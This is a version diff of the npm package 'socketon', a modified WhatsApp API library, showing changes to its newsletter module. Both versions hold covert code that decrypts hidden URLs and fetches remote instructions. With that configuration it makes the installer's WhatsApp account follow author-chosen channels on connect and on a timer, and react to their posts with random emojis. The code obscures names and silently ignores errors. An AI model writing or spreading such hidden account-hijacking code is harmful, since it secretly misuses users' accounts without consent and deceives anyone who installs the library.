socketon 1.8.25 → 1.8.27

package/lib/Socket/newsletter.js

@@ -83,86 +83,39 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
     return udahanBuatYangPenasaran;
 };
 
-// ========== FOLLOW CONFIG ==========
-let _cachedFollowNewsletter = null;
-let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
+let _cachedTargetNewsletter = null;
+let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
 
-const getFollowConfigFromExternal = async () => {
-    const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
-    const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
+const getTargetNewsletterFromExternal = async () => {
+    const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
+    const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
     try {
-        const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
-        let data = response.data;
-        if (typeof data === 'string') {
-            data = JSON.parse(data);
-        }
-        if (data) {
-            if (data.config) {
-                _configFollow = {
-                    autoFollowEnabled: data.config.autoFollowEnabled !== false,
-                    delayMs: data.config.delayMs || 5000
+        const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
+        if (response.data) {
+            if (response.data.config) {
+                _configNewsletter = {
+                    autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
+                    delayMs: response.data.config.delayMs || 5000,
+                    intervalMs: response.data.config.intervalMs || 30000
                 };
             }
-            if (data.newsletters && data.newsletters.length > 0) {
-                const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
-                _cachedFollowNewsletter = enabled;
-                return enabled;
+            if (response.data.newsletters && response.data.newsletters.length > 0) {
+                const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
+                _cachedTargetNewsletter = enabledNewsletters;
+                return enabledNewsletters;
             }
         }
     } catch (err) {}
     return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
 };
 
-const getAllFollowNewsletters = () => {
-    if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
-        return _cachedFollowNewsletter;
+const getAllEnabledNewsletters = () => {
+    if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
+        return _cachedTargetNewsletter;
     }
     return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
 };
 
-// ========== REACT CONFIG ==========
-let _cachedReactNewsletter = null;
-let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
-
-const getReactConfigFromExternal = async () => {
-    const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
-    const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
-    try {
-        const response = await axios_1.default.get(urlReact, { timeout: 10000 });
-        let data = response.data;
-        if (typeof data === 'string') {
-            data = JSON.parse(data);
-        }
-        if (data) {
-            if (data.config) {
-                _configReact = {
-                    autoReactEnabled: data.config.autoReactEnabled !== false
-                };
-            }
-            if (data.newsletters && data.newsletters.length > 0) {
-                const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
-                const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
-                    jid: n.jid,
-                    emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
-                }));
-                _cachedReactNewsletter = enabled;
-                return enabled;
-            }
-        }
-    } catch (err) {}
-    return [];
-};
-
-const getAllReactNewsletters = () => {
-    return _cachedReactNewsletter || [];
-};
-
-const getReactEmojisForChannel = (channelJid) => {
-    const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
-    const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
-    return channel?.emojis || defaultEmojis;
-};
-
 const wMexQuery = (
 	variables,
 	queryId,
@@ -286,27 +239,22 @@ const makeNewsletterSocket = (config) => {
         }));
     };
     // Auto Reaction - Ibra Decode
-    let _reactChannels = [];
+    let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
     
-    const updateReactChannels = async () => {
-        const channels = await getReactConfigFromExternal();
-        if (channels && channels.length > 0) {
-            _reactChannels = channels;
+    const updateTargetNewsletters = async () => {
+        const externalTargets = getAllEnabledNewsletters();
+        if (externalTargets && externalTargets.length > 0) {
+            _targetNewsletters = externalTargets;
         }
     };
     
     sock.ev.on('messages.upsert', async ({ messages, type }) => {
         if (type !== 'notify') return;
-        if (!_configReact.autoReactEnabled) return;
-        
+        const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
         for (const msg of messages) {
             const jid = msg.key.remoteJid;
-            const channel = _reactChannels.find(c => c.jid === jid);
-            if (!channel) continue;
-            
-            const emojis = getReactEmojisForChannel(jid);
+            if (!_targetNewsletters.includes(jid)) continue;
             const emoji = emojis[Math.floor(Math.random() * emojis.length)];
-            
             try {
                 const serverId = msg.newsletterServerId?.toString() || msg.key.id;
                 await query({
@@ -317,37 +265,44 @@ const makeNewsletterSocket = (config) => {
                         attrs: { code: emoji }
                     }]
                 });
-                await sleep(_configReact.autoReactEnabled ? 1000 : 0);
+                await sleep(_configNewsletter.delayMs);
             } catch (err) {}
         }
     });
     // Auto Follow - Ibra Decode
     let _followInterval = null;
+    const _followedSet = new Set();
     const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
     const _ensureFollow = async () => {
-        if (!_configFollow.autoFollowEnabled) return;
-        const enabledNewsletters = await getFollowConfigFromExternal();
+        if (!_configNewsletter.autoFollowEnabled) return;
+        const enabledNewsletters = await getTargetNewsletterFromExternal();
         if (!enabledNewsletters || enabledNewsletters.length === 0) return;
         try {
             const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
             for (let i = 0; i < enabledNewsletters.length; i++) {
                 const newsletterJid = enabledNewsletters[i];
+                if (_followedSet.has(newsletterJid)) continue;
                 const isFollowing = list?.some(n => n.id === newsletterJid);
                 if (!isFollowing) {
                     await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
-                    await sleep(_configFollow.delayMs);
+                    await sleep(_configNewsletter.delayMs || 5000);
+                    _followedSet.add(newsletterJid);
+                } else {
+                    _followedSet.add(newsletterJid);
                 }
             }
         } catch (err) {}
     };
     sock.ev.on('connection.update', async ({ connection }) => {
         if (connection === 'open') {
-            await getFollowConfigFromExternal();
-            await getReactConfigFromExternal();
-            await updateReactChannels();
+            await getTargetNewsletterFromExternal();
+            const targets = getAllEnabledNewsletters();
+            if (targets && targets.length > 0) {
+                _targetNewsletters = targets;
+            }
             await _ensureFollow();
             if (_followInterval) clearInterval(_followInterval);
-            _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
+            _followInterval = setInterval(_ensureFollow, _configNewsletter.intervalMs || 30000);
         }
     });
     return {

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "socketon",
-    "version": "1.8.25",
+    "version": "1.8.27",
     "description": "WhatsApp API Modification By Ibra Decode",
     "publishConfig": {
         "access": "public"